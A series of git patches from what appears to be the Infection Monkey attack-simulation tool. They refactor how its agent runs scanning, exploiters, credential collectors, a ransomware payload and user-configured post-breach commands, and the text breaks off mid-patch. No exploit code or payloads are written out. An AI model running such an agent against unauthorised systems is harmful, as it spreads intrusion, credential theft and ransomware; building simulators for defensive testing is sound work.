infection_monkey.telemetry.exploit_telem import ExploitTelem -from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.telemetry.scan_telem import ScanTelem - -logger = logging.getLogger() - - -class MockMaster(IMaster): - def __init__(self, puppet: IPuppet, telemetry_messenger: ITelemetryMessenger): - self._puppet = puppet - self._telemetry_messenger = telemetry_messenger - self._hosts = { - "10.0.0.1": VictimHost("10.0.0.1"), - "10.0.0.2": VictimHost("10.0.0.2"), - "10.0.0.3": VictimHost("10.0.0.3"), - "10.0.0.4": VictimHost("10.0.0.4"), - } - - def start(self) -> None: - self._run_sys_info_collectors() - self._run_pbas() - self._scan_victims() - self._fingerprint() - self._exploit() - self._run_payload() - - def _run_credential_collectors(self): - logger.info("Running credential collectors") - - windows_credentials = self._puppet.run_credential_collector("MimikatzCollector") - if windows_credentials: - self._telemetry_messenger.send_telemetry(CredentialsTelem(windows_credentials)) - - ssh_credentials = self._puppet.run_sys_info_collector("SSHCollector") - if ssh_credentials: - self._telemetry_messenger.send_telemetry(CredentialsTelem(ssh_credentials)) - - logger.info("Finished running credential collectors") - - def _run_pbas(self): - - # TODO: Create monkey_dir and revise setup in monkey.py - - logger.info("Running post breach actions") - name = "AccountDiscovery" - display_name, command, result = self._puppet.run_pba(name, {}) - self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) - - name = "CommunicateAsBackdoorUser" - display_name, command, result = self._puppet.run_pba(name, {}) - self._telemetry_messenger.send_telemetry(PostBreachTelem(display_name, command, result)) - logger.info("Finished running post breach actions") - - def _scan_victims(self): - logger.info("Scanning network for potential victims") - ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3"] - ports = [22, 445, 3389, 8008] - for ip in ips: - h = self._hosts[ip] - - ping_scan_data = self._puppet.ping(ip, 1) - h.icmp = ping_scan_data.response_received - if ping_scan_data.os is not None: - h.os["type"] = ping_scan_data.os - - ports_scan_data = self._puppet.scan_tcp_ports(ip, ports) - - for psd in ports_scan_data.values(): - logger.debug(f"The port {psd.port} is {psd.status}") - if psd.status == PortStatus.OPEN: - h.services[psd.service] = {} - h.services[psd.service]["display_name"] = "unknown(TCP)" - h.services[psd.service]["port"] = psd.port - if psd.banner is not None: - h.services[psd.service]["banner"] = psd.banner - - self._telemetry_messenger.send_telemetry(ScanTelem(h)) - logger.info("Finished scanning network for potential victims") - - def _fingerprint(self): - logger.info("Running fingerprinters on potential victims") - machine_1 = self._hosts["10.0.0.1"] - machine_3 = self._hosts["10.0.0.3"] - - self._puppet.fingerprint("SMBFinger", machine_1, None, None, None) - self._telemetry_messenger.send_telemetry(ScanTelem(machine_1)) - - self._puppet.fingerprint("SMBFinger", machine_3, None, None, None) - self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) - - self._puppet.fingerprint("HTTPFinger", machine_3, None, None, None) - self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) - logger.info("Finished running fingerprinters on potential victims") - - def _exploit(self): - logger.info("Exploiting victims") - result = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", 0, {}, None) - logger.info(f"Attempts for exploiting {result.attempts}") - self._telemetry_messenger.send_telemetry( - ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result) - ) - - result = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", 0, {}, None) - logger.info(f"Attempts for exploiting {result.attempts}") - self._telemetry_messenger.send_telemetry( - ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result) - ) - logger.info("Finished exploiting victims") - - def _run_payload(self): - logger.info("Running payloads") - self._puppet.run_payload("RansomwarePayload", {}, None) - logger.info("Finished running payloads") - - def terminate(self, block: bool = False) -> None: - logger.info("Terminating MockMaster") - - def cleanup(self) -> None: - # TODO: Cleanup monkey_dir and send telemetry - pass diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 4d1b25d3f..eb62c2df5 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -182,5 +182,4 @@ MockPuppet ControlChannel should_agent_stop get_credentials_for_propagation -MockMaster register_signal_handlers From 97384303339690d794e1d019e47a68f045e2391f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:31:29 -0400 Subject: [PATCH 0953/1110] Project: Remove temporary agent-refactor vulture exceptions --- vulture_allowlist.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index eb62c2df5..bf1244f93 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,15 +171,3 @@ _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) architecture # unused variable (monkey/infection_monkey/exploit/caching_agent_repository.py:25) - -# TODO: Reevaluate these as the agent refactor progresses -run_sys_info_collector -ping -scan_tcp_port -fingerprint -interrupt -MockPuppet -ControlChannel -should_agent_stop -get_credentials_for_propagation -register_signal_handlers From 315471ab575dde8b0611d41cbf001652e891521f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:33:53 -0400 Subject: [PATCH 0954/1110] Agent: Remove disused WebRCE.target_url attribute --- monkey/infection_monkey/exploit/web_rce.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 9978f46d3..3a546d321 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -39,7 +39,6 @@ class WebRCE(HostExploiter): super(WebRCE, self).__init__() self.monkey_target_paths = monkey_target_paths self.vulnerable_urls = [] - self.target_url = None def get_exploit_config(self): """ @@ -89,8 +88,6 @@ class WebRCE(HostExploiter): if not self.are_vulnerable_urls_sufficient(): return False - self.target_url = self.get_target_url() - # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) From b5f65b16d78f3d56e8b708e311f155008959bc19 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:36:49 -0400 Subject: [PATCH 0955/1110] Agent: Remove disused Puppet._mock_puppet attribute --- monkey/infection_monkey/puppet/puppet.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index ec3f97134..030008a04 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -16,7 +16,6 @@ from infection_monkey.i_puppet import ( ) from infection_monkey.model import VictimHost -from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry logger = logging.getLogger() @@ -24,7 +23,6 @@ logger = logging.getLogger() class Puppet(IPuppet): def __init__(self) -> None: - self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: From ee0561a0615b61b14bf15816bab335e4c9a55847 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 30 Mar 2022 07:39:34 -0400 Subject: [PATCH 0956/1110] Agent: Move MockPuppet to unit test suite The MockPuppet is now only used by the unit tests. --- .../unit_tests/infection_monkey/master}/mock_puppet.py | 0 .../unit_tests/infection_monkey/master/test_exploiter.py | 2 +- .../unit_tests/infection_monkey/master/test_ip_scanner.py | 5 ++--- 3 files changed, 3 insertions(+), 4 deletions(-) rename monkey/{infection_monkey/puppet => tests/unit_tests/infection_monkey/master}/mock_puppet.py (100%) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py similarity index 100% rename from monkey/infection_monkey/puppet/mock_puppet.py rename to monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index eba0186a4..3c76c903f 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -5,10 +5,10 @@ from typing import Iterable from unittest.mock import MagicMock import pytest +from tests.unit_tests.infection_monkey.master.mock_puppet import MockPuppet from infection_monkey.master import Exploiter from infection_monkey.model import VictimHost -from infection_monkey.puppet.mock_puppet import MockPuppet logger = logging.getLogger() diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index c6aa0d532..9fafdaee2 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -3,11 +3,11 @@ from typing import Set from unittest.mock import MagicMock import pytest +from tests.unit_tests.infection_monkey.master.mock_puppet import MockPuppet from infection_monkey.i_puppet import FingerprintData, PortScanData, PortStatus from infection_monkey.master import IPScanner from infection_monkey.network import NetworkAddress -from infection_monkey.puppet.mock_puppet import MockPuppet WINDOWS_OS = "windows" LINUX_OS = "linux" @@ -34,8 +34,7 @@ def scan_config(): {"name": "HTTPFinger", "options": {}}, {"name": "SMBFinger", "options": {}}, {"name": "SSHFinger", "options": {}}, - ] - + ], } From 23b8c351fbe020ec1ff9f26333a968c9cc0255b3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 25 Mar 2022 16:38:13 +0200 Subject: [PATCH 0957/1110] Island, Agent: Add custom user PBA to puppet and master --- monkey/infection_monkey/i_puppet/i_puppet.py | 10 +++- .../master/automated_master.py | 16 ++++-- .../post_breach/custom_pba/__init__.py | 0 .../users_custom_pba.py | 49 ++++++++++--------- monkey/monkey_island/cc/services/config.py | 2 +- .../infection_monkey/master/mock_puppet.py | 5 +- .../actions/test_users_custom_pba.py | 2 +- 7 files changed, 53 insertions(+), 31 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/custom_pba/__init__.py rename monkey/infection_monkey/post_breach/{actions => custom_pba}/users_custom_pba.py (69%) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index c4f46d792..fd42d5c58 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -3,7 +3,7 @@ import threading from collections import namedtuple from dataclasses import dataclass from enum import Enum -from typing import Dict, Iterable, List, Mapping, Sequence +from typing import Any, Dict, Iterable, List, Mapping, Sequence from infection_monkey.model import VictimHost @@ -67,6 +67,14 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: Iterable[PostBreachData] """ + @abc.abstractmethod + def run_custom_pba(self, options: Mapping[str, Any]) -> PostBreachData: + """ + Runs a user configured post breach action (PBA) + :param Dict options: A dictionary containing options that modify the behavior of the PBA + :rtype: PostBreachData + """ + @abc.abstractmethod def ping(self, host: str, timeout: float) -> PingScanData: """ diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index e5269fa64..42086fee4 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,9 +1,10 @@ import logging import threading import time -from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple +from typing import Any, Callable, Dict, Iterable, List, Mapping, Optional, Tuple from infection_monkey.credential_store import ICredentialsStore +from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet @@ -154,9 +155,9 @@ class AutomatedMaster(IMaster): ), ) pba_thread = create_daemon_thread( - target=self._run_plugins, + target=self._run_PBAs, name="PBAThread", - args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), + args=(config["post_breach_actions"].items(), self._run_pba, config["custom_pbas"]), ) credential_collector_thread.start() @@ -212,6 +213,15 @@ class AutomatedMaster(IMaster): self._puppet.run_payload(name, options, self._stop) + def _run_PBAs( + self, plugins: Iterable[Any], callback: Callable[[Any], None], custom_pba_options: Mapping + ): + self._run_plugins(plugins, "post-breach action", callback) + + command, result = self._puppet.run_custom_pba(custom_pba_options) + telem = PostBreachTelem(POST_BREACH_FILE_EXECUTION, command, result) + self._telemetry_messenger.send_telemetry(telem) + def _run_plugins( self, plugins: Iterable[Any], plugin_type: str, callback: Callable[[Any], None] ): diff --git a/monkey/infection_monkey/post_breach/custom_pba/__init__.py b/monkey/infection_monkey/post_breach/custom_pba/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py similarity index 69% rename from monkey/infection_monkey/post_breach/actions/users_custom_pba.py rename to monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py index 91475e66d..81b6e9ab2 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py @@ -1,5 +1,6 @@ import logging import os +from typing import Any, Mapping from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from common.utils.attack_utils import ScanStatus @@ -24,32 +25,32 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ - def __init__(self, telemetry_messenger: ITelemetryMessenger): + def __init__(self, options: Mapping[str, Any], telemetry_messenger: ITelemetryMessenger): super(UsersPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) self.filename = "" - if not is_windows_os(): - # Add linux commands to PBA's - if WormConfiguration.PBA_linux_filename: - self.filename = WormConfiguration.PBA_linux_filename - if WormConfiguration.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - self.command = ( - DIR_CHANGE_LINUX % get_monkey_dir_path() - ) + WormConfiguration.custom_PBA_linux_cmd - elif WormConfiguration.custom_PBA_linux_cmd: - self.command = WormConfiguration.custom_PBA_linux_cmd - else: + if is_windows_os(): # Add windows commands to PBA's - if WormConfiguration.PBA_windows_filename: - self.filename = WormConfiguration.PBA_windows_filename - if WormConfiguration.custom_PBA_windows_cmd: + if options["windows_filename"]: + self.filename = options["windows_filename"] + if options["windows_command"]: # Add change dir command, because user will try to access his file - self.command = ( - DIR_CHANGE_WINDOWS % get_monkey_dir_path() - ) + WormConfiguration.custom_PBA_windows_cmd - elif WormConfiguration.custom_PBA_windows_cmd: - self.command = WormConfiguration.custom_PBA_windows_cmd + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + options[ + "windows_command" + ] + elif options["windows_command"]: + self.command = options["windows_command"] + else: + # Add linux commands to PBA's + if options["linux_filename"]: + self.filename = options["linux_filename"] + if options["linux_command"]: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + options[ + "linux_command" + ] + elif options["linux_command"]: + self.command = options["linux_command"] def _execute_default(self): if self.filename: @@ -57,12 +58,12 @@ class UsersPBA(PBA): return super(UsersPBA, self)._execute_default() @staticmethod - def should_run(class_name): + def should_run(options): if not is_windows_os(): - if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd: + if options["linux_filename"] or options["linux_command"]: return True else: - if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd: + if options["windows_filename"] or options["windows_command"]: return True return False diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index c5f78e62d..e636dfaab 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -452,7 +452,7 @@ class ConfigService: for pba in config.get("post_breach_actions", []): formatted_pbas_config[pba] = {} - formatted_pbas_config["Custom"] = { + config["custom_pbas"] = { "linux_command": config.get(flat_linux_command_field, ""), "linux_filename": config.get(flat_linux_filename_field, ""), "windows_command": config.get(flat_windows_command_field, ""), diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index 4baa7f61d..f8c51714b 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, Iterable, List, Sequence +from typing import Any, Dict, Iterable, List, Mapping, Sequence from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username from infection_monkey.i_puppet import ( @@ -57,6 +57,9 @@ class MockPuppet(IPuppet): else: return [PostBreachData(name, "pba command 2", ["pba result 2", False])] + def run_custom_pba(self, options: Mapping[str, Any]) -> PostBreachData: + pass + def ping(self, host: str, timeout: float = 1) -> PingScanData: logger.debug(f"run_ping({host}, {timeout})") if host == DOT_1: diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py index 2618f8d93..e8cdd0333 100644 --- a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_users_custom_pba.py @@ -2,7 +2,7 @@ from unittest.mock import MagicMock import pytest -from infection_monkey.post_breach.actions.users_custom_pba import UsersPBA +from infection_monkey.post_breach.custom_pba.users_custom_pba import UsersPBA MONKEY_DIR_PATH = "/dir/to/monkey/" CUSTOM_LINUX_CMD = "command-for-linux" From 24915ba797f27d48fa54b2ce46c510fdd5df40c3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 14:13:51 +0300 Subject: [PATCH 0958/1110] Agent: Load and fix the custom PBA into puppet --- monkey/infection_monkey/i_puppet/i_puppet.py | 10 +-------- .../master/automated_master.py | 13 +++-------- monkey/infection_monkey/monkey.py | 4 ++++ .../custom_pba/users_custom_pba.py | 22 +++++++++++++------ monkey/monkey_island/cc/services/config.py | 2 ++ .../infection_monkey/master/mock_puppet.py | 5 +---- 6 files changed, 26 insertions(+), 30 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index fd42d5c58..c4f46d792 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -3,7 +3,7 @@ import threading from collections import namedtuple from dataclasses import dataclass from enum import Enum -from typing import Any, Dict, Iterable, List, Mapping, Sequence +from typing import Dict, Iterable, List, Mapping, Sequence from infection_monkey.model import VictimHost @@ -67,14 +67,6 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: Iterable[PostBreachData] """ - @abc.abstractmethod - def run_custom_pba(self, options: Mapping[str, Any]) -> PostBreachData: - """ - Runs a user configured post breach action (PBA) - :param Dict options: A dictionary containing options that modify the behavior of the PBA - :rtype: PostBreachData - """ - @abc.abstractmethod def ping(self, host: str, timeout: float) -> PingScanData: """ diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 42086fee4..c76a8938c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -4,7 +4,6 @@ import time from typing import Any, Callable, Dict, Iterable, List, Mapping, Optional, Tuple from infection_monkey.credential_store import ICredentialsStore -from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet @@ -155,7 +154,7 @@ class AutomatedMaster(IMaster): ), ) pba_thread = create_daemon_thread( - target=self._run_PBAs, + target=self._run_pbas, name="PBAThread", args=(config["post_breach_actions"].items(), self._run_pba, config["custom_pbas"]), ) @@ -197,10 +196,6 @@ class AutomatedMaster(IMaster): name = pba[0] options = pba[1] - # TEMPORARY; TO AVOID ERRORS SINCE THIS ISN'T IMPLEMENTED YET - if name == "Custom": - return - for pba_data in self._puppet.run_pba(name, options): self._telemetry_messenger.send_telemetry(PostBreachTelem(pba_data)) @@ -213,14 +208,12 @@ class AutomatedMaster(IMaster): self._puppet.run_payload(name, options, self._stop) - def _run_PBAs( + def _run_pbas( self, plugins: Iterable[Any], callback: Callable[[Any], None], custom_pba_options: Mapping ): self._run_plugins(plugins, "post-breach action", callback) - command, result = self._puppet.run_custom_pba(custom_pba_options) - telem = PostBreachTelem(POST_BREACH_FILE_EXECUTION, command, result) - self._telemetry_messenger.send_telemetry(telem) + self._run_plugins([("CustomPBA", custom_pba_options)], "post-breach action", callback) def _run_plugins( self, plugins: Iterable[Any], plugin_type: str, callback: Callable[[Any], None] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f9eac872d..1863da03f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -51,6 +51,7 @@ from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs from infection_monkey.post_breach.actions.timestomping import Timestomping from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution from infection_monkey.post_breach.actions.use_trap_command import TrapCommand +from infection_monkey.post_breach.custom_pba.users_custom_pba import UsersPBA from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -315,6 +316,9 @@ class InfectionMonkey: ClearCommandHistory(self._telemetry_messenger), PluginType.POST_BREACH_ACTION, ) + puppet.load_plugin( + "CustomPBA", UsersPBA(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py index 81b6e9ab2..5f9100d98 100644 --- a/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py @@ -1,11 +1,11 @@ import logging import os -from typing import Any, Mapping +from typing import Dict, Iterable from common.common_consts.post_breach_consts import POST_BREACH_FILE_EXECUTION from common.utils.attack_utils import ScanStatus -from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.i_puppet import PostBreachData from infection_monkey.network.tools import get_interface_to_target from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -25,10 +25,18 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ - def __init__(self, options: Mapping[str, Any], telemetry_messenger: ITelemetryMessenger): + def __init__(self, telemetry_messenger: ITelemetryMessenger): super(UsersPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) self.filename = "" + def run(self, options: Dict) -> Iterable[PostBreachData]: + self._set_options(options) + return super().run(options) + + def _set_options(self, options: Dict): + # Required for attack telemetry + self.current_server = options["current_server"] + if is_windows_os(): # Add windows commands to PBA's if options["windows_filename"]: @@ -54,7 +62,7 @@ class UsersPBA(PBA): def _execute_default(self): if self.filename: - UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + self.download_pba_file(get_monkey_dir_path(), self.filename) return super(UsersPBA, self)._execute_default() @staticmethod @@ -85,11 +93,11 @@ class UsersPBA(PBA): if not status: status = ScanStatus.USED - self._telemetry_messenger.send_telemetry( + self.telemetry_messenger.send_telemetry( T1105Telem( status, - WormConfiguration.current_server.split(":")[0], - get_interface_to_target(WormConfiguration.current_server.split(":")[0]), + self.current_server.split(":")[0], + get_interface_to_target(self.current_server.split(":")[0]), filename, ) ) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index e636dfaab..863aa79a1 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -457,6 +457,8 @@ class ConfigService: "linux_filename": config.get(flat_linux_filename_field, ""), "windows_command": config.get(flat_windows_command_field, ""), "windows_filename": config.get(flat_windows_filename_field, ""), + # Current server is used for attack telemetry + "current_server": config.get("current_server"), } config["post_breach_actions"] = formatted_pbas_config diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index f8c51714b..4baa7f61d 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Any, Dict, Iterable, List, Mapping, Sequence +from typing import Dict, Iterable, List, Sequence from infection_monkey.credential_collectors import LMHash, Password, SSHKeypair, Username from infection_monkey.i_puppet import ( @@ -57,9 +57,6 @@ class MockPuppet(IPuppet): else: return [PostBreachData(name, "pba command 2", ["pba result 2", False])] - def run_custom_pba(self, options: Mapping[str, Any]) -> PostBreachData: - pass - def ping(self, host: str, timeout: float = 1) -> PingScanData: logger.debug(f"run_ping({host}, {timeout})") if host == DOT_1: From 079d768f73c51be04446b1e1f0429b3198116bad Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 14:17:31 +0300 Subject: [PATCH 0959/1110] Agent: Rename UsersPBA to CustomPBA for consistency --- monkey/infection_monkey/monkey.py | 4 ++-- .../custom_pba/{users_custom_pba.py => custom_pba.py} | 6 +++--- 2 files changed, 5 insertions(+), 5 deletions(-) rename monkey/infection_monkey/post_breach/custom_pba/{users_custom_pba.py => custom_pba.py} (96%) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 1863da03f..b500fa27f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -51,7 +51,7 @@ from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs from infection_monkey.post_breach.actions.timestomping import Timestomping from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution from infection_monkey.post_breach.actions.use_trap_command import TrapCommand -from infection_monkey.post_breach.custom_pba.users_custom_pba import UsersPBA +from infection_monkey.post_breach.custom_pba.custom_pba import CustomPBA from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -317,7 +317,7 @@ class InfectionMonkey: PluginType.POST_BREACH_ACTION, ) puppet.load_plugin( - "CustomPBA", UsersPBA(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + "CustomPBA", CustomPBA(self._telemetry_messenger), PluginType.POST_BREACH_ACTION ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py similarity index 96% rename from monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py rename to monkey/infection_monkey/post_breach/custom_pba/custom_pba.py index 5f9100d98..51e9ef7a1 100644 --- a/monkey/infection_monkey/post_breach/custom_pba/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/custom_pba/custom_pba.py @@ -20,13 +20,13 @@ DIR_CHANGE_WINDOWS = "cd %s & " DIR_CHANGE_LINUX = "cd %s ; " -class UsersPBA(PBA): +class CustomPBA(PBA): """ Defines user's configured post breach action. """ def __init__(self, telemetry_messenger: ITelemetryMessenger): - super(UsersPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) + super(CustomPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) self.filename = "" def run(self, options: Dict) -> Iterable[PostBreachData]: @@ -63,7 +63,7 @@ class UsersPBA(PBA): def _execute_default(self): if self.filename: self.download_pba_file(get_monkey_dir_path(), self.filename) - return super(UsersPBA, self)._execute_default() + return super(CustomPBA, self)._execute_default() @staticmethod def should_run(options): From 67543ef91a432079abe36565e327342169268d75 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 14:26:45 +0300 Subject: [PATCH 0960/1110] Agent: Add a custom PBA run check We only want to run the custom PBA if commands are specified --- monkey/infection_monkey/master/automated_master.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index c76a8938c..3a4ef6835 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -15,6 +15,7 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.threading import create_daemon_thread, interruptible_iter from infection_monkey.utils.timer import Timer +from ..post_breach.custom_pba.custom_pba import CustomPBA from . import Exploiter, IPScanner, Propagator CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 @@ -213,7 +214,8 @@ class AutomatedMaster(IMaster): ): self._run_plugins(plugins, "post-breach action", callback) - self._run_plugins([("CustomPBA", custom_pba_options)], "post-breach action", callback) + if CustomPBA.should_run(custom_pba_options): + self._run_plugins([("CustomPBA", custom_pba_options)], "post-breach action", callback) def _run_plugins( self, plugins: Iterable[Any], plugin_type: str, callback: Callable[[Any], None] From 1f31e96adbb6bbb0898ed8ee1cb2850b6591a6db Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 30 Mar 2022 15:48:16 +0300 Subject: [PATCH 0961/1110] Agent: Make custom PBA related imports shorter --- monkey/infection_monkey/master/automated_master.py | 2 +- monkey/infection_monkey/monkey.py | 2 +- monkey/infection_monkey/post_breach/custom_pba/__init__.py | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 3a4ef6835..88841f401 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ 